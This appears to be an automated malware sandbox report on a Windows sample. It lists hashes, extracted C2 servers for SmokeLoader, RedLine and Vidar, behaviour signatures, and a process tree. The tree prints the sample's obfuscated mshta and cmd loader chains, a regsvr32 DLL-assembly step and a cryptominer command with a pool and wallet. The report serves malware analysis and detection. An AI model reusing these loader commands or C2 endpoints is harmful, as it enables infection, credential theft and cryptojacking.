Overview

overview

10

Static

static

toolspab2 (1).exe

windows7_x64

10

toolspab2 (1).exe

windows10_x64

10

toolspab2 (10).exe

windows7_x64

10

toolspab2 (10).exe

windows10_x64

10

toolspab2 (11).exe

windows7_x64

10

toolspab2 (11).exe

windows10_x64

10

toolspab2 (12).exe

windows7_x64

10

toolspab2 (12).exe

windows10_x64

10

toolspab2 (13).exe

windows7_x64

10

toolspab2 (13).exe

windows10_x64

10

toolspab2 (14).exe

windows7_x64

10

toolspab2 (14).exe

windows10_x64

10

toolspab2 (15).exe

windows7_x64

10

toolspab2 (15).exe

windows10_x64

10

toolspab2 (16).exe

windows7_x64

10

toolspab2 (16).exe

windows10_x64

10

toolspab2 (17).exe

windows7_x64

10

toolspab2 (17).exe

windows10_x64

10

toolspab2 (18).exe

windows7_x64

10

toolspab2 (18).exe

windows10_x64

10

toolspab2 (19).exe

windows7_x64

10

toolspab2 (19).exe

windows10_x64

10

toolspab2 (2).exe

windows7_x64

10

toolspab2 (2).exe

windows10_x64

10

toolspab2 (20).exe

windows7_x64

10

toolspab2 (20).exe

windows10_x64

10

toolspab2 (21).exe

windows7_x64

10

toolspab2 (21).exe

windows10_x64

10

toolspab2 (22).exe

windows7_x64

10

toolspab2 (22).exe

windows10_x64

10

toolspab2 (23).exe

windows7_x64

10

toolspab2 (23).exe

windows10_x64

10

Resubmissions

12-07-2021 16:55

210712-cvz622xsbj 10

10-07-2021 13:25

210710-pdfh7kft96 10

09-07-2021 23:00

210709-hewxkm1xlj 10

09-07-2021 16:08

210709-5ql27kyjqa 10

09-07-2021 14:08

210709-pt977a4bhe 10

08-07-2021 22:09

210708-3ypfnj5j7x 10

08-07-2021 13:30

210708-4hsk7y9f2x 10

08-07-2021 12:14

210708-8t5f9z9egj 10

Analysis

  • max time kernel
    317s
  • max time network
    414s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    08-07-2021 12:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    toolspab2 (22).exe

  • Size

    315KB

  • MD5

    585c257e0b345b762e7cdc407d8f9da2

  • SHA1

    ffee403d97b76c3460fc166b9d5ce1205cd216a5

  • SHA256

    4a0ecbcf9b54ed1c9654eb9ee214a797f48c980c6d03a261f62fa9671a2733d6

  • SHA512

    14d39a6cd1c6d912cae7c35e2a98affcd5a9c1df6b947c42de65344e08d34912b09ccac83f9d8c3213b4e3d555769801e8218cb3f4b970d1d08606ee5a454ba8

Score
10/10
gluptebametasploitraccoonredlinesmokeloadersocelarstofseevidar824agressorbackdoordiscoverydropperevasioninfostealerloaderpersistencespywarestealertrojanvmprotect

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/
rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

agressor

C2

65.21.122.45:8085

Extracted

Family

vidar

Version

39.4

Botnet

824

C2

https://sergeevih43.tumblr.com

Attributes
  • profile_id

    824

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 39 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • VMProtect packed file 7 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 40 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 8 IoCs
  • Modifies system certificate store 2 TTPs 13 IoCs
    evasionspywaretrojan
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:460
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:868
      • C:\Windows\SysWOW64\wtfqtpfn\qobfuyni.exe
        C:\Windows\SysWOW64\wtfqtpfn\qobfuyni.exe /d"C:\Users\Admin\AppData\Local\Temp\2892.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:2756
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          3⤵
          • Drops file in System32 directory
          PID:2896
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
            4⤵
              PID:4040
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:3168
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
            PID:6116
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k SystemNetworkService
            2⤵
              PID:6124
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k SystemNetworkService
              2⤵
                PID:6140
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k SystemNetworkService
                2⤵
                  PID:6172
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                  2⤵
                    PID:6192
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                    2⤵
                      PID:6200
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                      2⤵
                        PID:6212
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                          PID:6220
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                          2⤵
                            PID:6228
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                            2⤵
                              PID:6236
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                              2⤵
                                PID:6244
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                2⤵
                                  PID:6252
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                  2⤵
                                    PID:6260
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                    2⤵
                                      PID:6268
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                      2⤵
                                        PID:6276
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                        2⤵
                                          PID:6284
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                          2⤵
                                            PID:6292
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                            2⤵
                                              PID:6300
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                              2⤵
                                                PID:6308
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                2⤵
                                                  PID:6316
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                  2⤵
                                                    PID:6324
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                    2⤵
                                                      PID:6340
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                      2⤵
                                                        PID:6348
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                        2⤵
                                                          PID:6356
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                          2⤵
                                                            PID:6364
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                            2⤵
                                                              PID:6388
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                              2⤵
                                                                PID:6404
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                2⤵
                                                                  PID:6420
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                  2⤵
                                                                    PID:6428
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                    2⤵
                                                                      PID:6436
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                      2⤵
                                                                        PID:6444
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                        2⤵
                                                                          PID:6452
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                          2⤵
                                                                            PID:6460
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                            2⤵
                                                                              PID:6468
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                              2⤵
                                                                                PID:6480
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                2⤵
                                                                                  PID:6488
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                  2⤵
                                                                                    PID:6512
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                    2⤵
                                                                                      PID:6524
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                      2⤵
                                                                                        PID:6536
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                        2⤵
                                                                                          PID:6568
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                          2⤵
                                                                                            PID:6576
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                            2⤵
                                                                                              PID:6584
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                              2⤵
                                                                                                PID:6596
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                2⤵
                                                                                                  PID:6604
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                  2⤵
                                                                                                    PID:6612
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                    2⤵
                                                                                                      PID:6620
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                      2⤵
                                                                                                        PID:6628
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\toolspab2 (22).exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\toolspab2 (22).exe"
                                                                                                      1⤵
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:452
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\toolspab2 (22).exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\toolspab2 (22).exe"
                                                                                                        2⤵
                                                                                                        • Loads dropped DLL
                                                                                                        • Checks SCSI registry key(s)
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                        PID:808
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\F22C.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\F22C.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      • Modifies system certificate store
                                                                                                      PID:1404
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\F4AC.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\F4AC.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:960
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\34D.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\34D.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:1284
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11A0.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\11A0.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:1232
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1C2C.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\1C2C.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      • Checks SCSI registry key(s)
                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                      PID:772
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2A60.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\2A60.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:984
                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                      1⤵
                                                                                                        PID:1616
                                                                                                      • C:\Windows\explorer.exe
                                                                                                        C:\Windows\explorer.exe
                                                                                                        1⤵
                                                                                                          PID:1228
                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:1988
                                                                                                        • C:\Windows\explorer.exe
                                                                                                          C:\Windows\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:2008
                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:288
                                                                                                        • C:\Windows\explorer.exe
                                                                                                          C:\Windows\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:1048
                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:1948
                                                                                                        • C:\Windows\explorer.exe
                                                                                                          C:\Windows\explorer.exe
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          PID:852
                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                          1⤵
                                                                                                            PID:1692
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FC6E.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\FC6E.exe
                                                                                                            1⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:1592
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1592 -s 872
                                                                                                              2⤵
                                                                                                              • Loads dropped DLL
                                                                                                              • Program crash
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2476
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FE15.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\FE15.exe
                                                                                                            1⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:276
                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                              "C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\FE15.exe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if """" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\FE15.exe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )
                                                                                                              2⤵
                                                                                                                PID:2016
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\FE15.exe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "" == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\FE15.exe" ) do taskkill -F -im "%~Nxw"
                                                                                                                  3⤵
                                                                                                                  • Loads dropped DLL
                                                                                                                  PID:364
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe
                                                                                                                    ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT
                                                                                                                    4⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:1788
                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                      "C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if ""-pLTfn82smRxoqI1Rgg5LiENy6ewubmT "" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )
                                                                                                                      5⤵
                                                                                                                        PID:1252
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "-pLTfn82smRxoqI1Rgg5LiENy6ewubmT " == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" ) do taskkill -F -im "%~Nxw"
                                                                                                                          6⤵
                                                                                                                            PID:816
                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                          "C:\Windows\System32\mshta.exe" VbsCripT:cLose ( cReatEoBJEcT ( "WScript.sheLl" ). Run ( "CMd.EXe /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = ""MZ"" > FIq2DqT_.Q &copy /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P + WWAA.Ue5 + JBVF~.yS + rcEI.~+ Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U " , 0 , true ) )
                                                                                                                          5⤵
                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                          PID:1584
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = "MZ" > FIq2DqT_.Q &copy /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P +WWAA.Ue5 + JBVF~.yS + rcEI.~+Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U
                                                                                                                            6⤵
                                                                                                                              PID:588
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo "
                                                                                                                                7⤵
                                                                                                                                  PID:1708
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>FIq2DqT_.Q"
                                                                                                                                  7⤵
                                                                                                                                    PID:2020
                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                    regsvr32.exe -S ..\MRZCIH.DO /U
                                                                                                                                    7⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                    PID:524
                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                              taskkill -F -im "FE15.exe"
                                                                                                                              4⤵
                                                                                                                              • Kills process with taskkill
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:1640
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\F74.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\F74.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:1952
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 184
                                                                                                                          2⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Program crash
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2040
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\17ED.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\17ED.exe
                                                                                                                        1⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:784
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-NDUJB.tmp\17ED.tmp
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-NDUJB.tmp\17ED.tmp" /SL5="$201D0,188175,104448,C:\Users\Admin\AppData\Local\Temp\17ED.exe"
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:740
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-D7V0S.tmp\134 Vaporeondè_éçè_)))_.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-D7V0S.tmp\134 Vaporeondè_éçè_)))_.exe" /S /UID=rec7
                                                                                                                            3⤵
                                                                                                                            • Drops file in Drivers directory
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Adds Run key to start application
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:2084
                                                                                                                            • C:\Program Files\Windows NT\TKLCORWQTH\irecord.exe
                                                                                                                              "C:\Program Files\Windows NT\TKLCORWQTH\irecord.exe" /VERYSILENT
                                                                                                                              4⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:2964
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-BDNCM.tmp\irecord.tmp
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-BDNCM.tmp\irecord.tmp" /SL5="$D01A4,5808768,66560,C:\Program Files\Windows NT\TKLCORWQTH\irecord.exe" /VERYSILENT
                                                                                                                                5⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Drops file in Program Files directory
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                PID:2988
                                                                                                                                • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                                                  "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  PID:1844
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\c2-5e9e4-09f-ccea3-4786838ce5b6a\SHipyciqaekae.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\c2-5e9e4-09f-ccea3-4786838ce5b6a\SHipyciqaekae.exe"
                                                                                                                              4⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:3016
                                                                                                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                                "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                5⤵
                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:2428
                                                                                                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:275457 /prefetch:2
                                                                                                                                  6⤵
                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:2504
                                                                                                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2428 CREDAT:406547 /prefetch:2
                                                                                                                                  6⤵
                                                                                                                                    PID:4148
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 1424
                                                                                                                                      7⤵
                                                                                                                                      • Program crash
